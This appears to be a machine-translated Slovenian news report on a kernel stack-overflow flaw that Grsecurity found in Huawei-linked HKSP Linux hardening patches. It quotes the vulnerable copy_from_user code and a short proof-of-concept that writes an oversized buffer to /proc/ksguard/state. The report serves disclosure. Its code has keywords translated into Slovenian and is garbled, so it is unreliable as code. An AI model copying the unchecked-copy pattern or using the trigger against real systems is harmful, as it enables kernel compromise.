Varnostne težave v popravkih, ki jih je predlagal Huaweijev zaposleni za zaščito jedra Linuxa

Razvijalci projekta Grsecurity obrnjen pozornost na prisotnost ranljivosti, ki jo je mogoče trivialno izkoristiti, v kompletu popravkov HKSP (Huawei Kernel Self Protection), pred nekaj dnevi predlagano za izboljšanje varnosti jedra Linuxa. Situacija spominja etui za Samsung, v katerem je poskus izboljšanja varnosti sistema povzročil nastanek nove ranljivosti in olajšal ogrožanje naprav.

Popravke HKSP je objavil Huaweijev zaposleni, vključujejo omembo Huaweija v profilu GitHub in uporabljajo besedo Huawei v imenu projekta (HKSP - Huawei Kernel Self Protection). Hkrati so predstavniki Huaweia zanikali povezavo projekta HKSP s podjetjem in izjavili, da je bila koda razvita na osebno pobudo zaposlenega, ni uradni projekt Huawei in se ne uporablja v izdelkih podjetja. Vklopljeno stran GitHub HKSP za nazaj po odkritju tudi ranljivosti je bil dodan upoštevajte, da se projekt razvija v mojem prostem času za raziskovalne namene.

HKSP vključuje spremembe, kot so randomizacija odmikov v strukturi verodostojnosti, zaščita pred napadi na imenski prostor identifikatorja uporabnika (imenski prostor pid), ločevanje sklada procesa od območja mmap, zaznavanje dvojnih klicev k funkciji kfree, blokiranje puščanja prek psevdo -FS /proc (/proc/ {modules, keys, key-users}, /proc/sys/kernel/* in /proc/sys/vm/mmap_min_addr, /proc/kallsyms), izboljšana randomizacija naslovov uporabniškega prostora, dodatni Ptrace zaščita, izboljšana zaščita smap in smep, zmožnost prepovedi pošiljanja podatkov prek neobdelanih vtičnic, blokiranje nepravilnih naslovov v vtičnicah UDP in preverjanje celovitosti izvajajočih se procesov. Vključuje tudi jedrni modul Ksguard, ki je namenjen zaznavanju poskusov uvajanja tipičnih rootkitov.

Obliži klical Greg Kroah-Hartman, ki je odgovoren za vzdrževanje stabilne veje jedra Linuxa, je bil zanimiv in je prosil avtorja, naj monolitni popravek razdeli na dele, da bi poenostavil pregled in napredovanje v glavno jedro. Kees Cook, vodja Projekt o napredovanje tudi tehnologija aktivne zaščite v jedru Linuxa pozitivno se je odzval na popravke in med težavami opozoril na vezanost na arhitekturo x86 in notifikacijsko naravo številnih načinov, ki samo beležijo informacije o težavi, ne poskušajo pa je blokirati.

Študija popravka razvijalcev Grsecurity je razkrila številne napake in slabosti v kodi ter pokazala odsotnost modela groženj, ki bi jim omogočil ustrezno presojo zmogljivosti projekta. Da bi jasno prikazali, da je bila koda napisana brez uporabe varnih metod programiranja, je podan primer trivialne ranljivosti v upravljalniku.
datoteka /proc/ksguard/state, ki je ustvarjena s pravicami 0777, kar pomeni, da imajo vsi dostop za pisanje. Funkcija ksg_state_write, ki se uporablja za razčlenjevanje ukazov, zapisanih v /proc/ksguard/state, ustvari medpomnilnik tmp[32], v katerega se zapišejo podatki glede na velikost posredovanega operanda, ne da bi upoštevala velikost ciljnega medpomnilnika in brez preverjanje parametra z velikostjo niza. Tisti. Če želite prepisati del sklada jedra, mora napadalec samo napisati posebej oblikovano vrstico v /proc/ksguard/state.

statična ssize_t ksg_state_write(strukturna datoteka *datoteka, const char __uporabnik *buf,
size_t len, loff_t *offset)
{
vrednost u64;
char tmp[32];
velikost_t n = 0;

if (copy_from_user(tmp, buf, len))
vrnitev -1;

vrednost = simple_strtoul(tmp, '\0', 10);
...

Prototip izkoriščanja:

char buf[4096] = {};
int fd = open(“/proc/ksguard/state”, N_NAPAKA);
if (fd >= 0) {
pisanje (fd, buf, sizeof(buf));
zapri (fd);
}

Vir: opennet.ru

Dodaj komentar